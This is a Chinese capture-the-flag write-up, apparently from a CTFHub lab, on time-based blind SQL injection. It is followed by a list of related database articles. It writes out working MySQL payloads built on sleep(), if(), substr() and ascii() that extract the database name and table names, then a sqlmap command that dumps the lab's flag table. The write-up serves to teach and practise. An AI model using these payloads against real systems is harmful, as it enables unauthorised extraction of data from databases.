CTFHUB技能树之SQL——时间盲注

开启靶场,打开链接:

说明这关对所有信息都做了统一输出,换成延时注入试试


输入:

1 and sleep(15)

(这里不知道为什么加上--+倒是会影响sleep()函数的触发,从而没有延时感)

可以观察到有明显的延时感,确定为时间盲注


(1)爆数据库名

先判断数据库名的长度:

1 and if(length(database())=x,sleep(15),1)

(x是数值1,2,3,4,...)

1 and if(length(database())=4,sleep(15),1)

说明数据库名长度是4


接下来就是判断数据库的各个字符了:

第一个字符:

1 and if(ascii(substr(database(),1,1))>110,sleep(15),1)

1 and if(ascii(substr(database(),1,1))=x,sleep(15),1)

(x是数值1,2,3,4,...)

第二个字符:

1 and if(ascii(substr(database(),2,1))=x,sleep(15),1)

(x是数值1,2,3,4,...)

后续得出数值是(115,113,108,105),即数据库名是sqli


(2)爆表名

先判断表的数量:

1 and if((select count(table_name) from information_schema.tables where table_schema=database())=2,sleep(15),1)

又出现了延时感,说明有两个表


接下来就是判断各个表的各个字符了:

先是第一个表的第一个字符:

1 and if(substr((select table_name from information_schema.tables where table_schema='sqli' limit 0,1),1,1)='n',sleep(15),1)

1 and if(ascii(substr((select table_name from information_schema.tables where table_schema='sqli' limit 0,1),1,1))=110,sleep(15),1)

妈的,不知道为什么这里运行失败,后续手工注入的流程直接看本分组的《Time-based基于时间的盲注》就行了,我要直接用sqlmap跟它爆了


python sqlmap.py -u "http://challenge-1f7b2258309fbd18.sandbox.ctfhub.com:10800/?id=1" -D sqli -T flag --dump

得到flag:

ctfhub{3a4d69bf9ae1fc6bbd2f7d69}

相关推荐
爱掘金的土拨鼠12 分钟前
国产化dm数据库锁表解锁
数据库
庖丁解java38 分钟前
N个Utils
数据库
Mr. zhihao1 小时前
SQL LEFT JOIN 与 WHERE 条件的隐藏坑
数据库·sql
2301_793086871 小时前
Redis 04 Reactor
数据库·redis·缓存
Sais_Z1 小时前
ClickHouse的学习与了解
数据库·clickhouse
代码的余温2 小时前
MySQL性能优化:10个关键参数调整指南
数据库·mysql·性能优化
silver98862 小时前
sql链接的url中serverTimezone的作用
数据库·sql
tanxiaomi3 小时前
数据库索引视角:对比二叉树到红黑树再到B树
数据结构·数据库·b树
水无痕simon3 小时前
5 索引的操作
数据库·elasticsearch
柏油4 小时前
可视化 MySQL binlog 监听方案
数据库·后端·mysql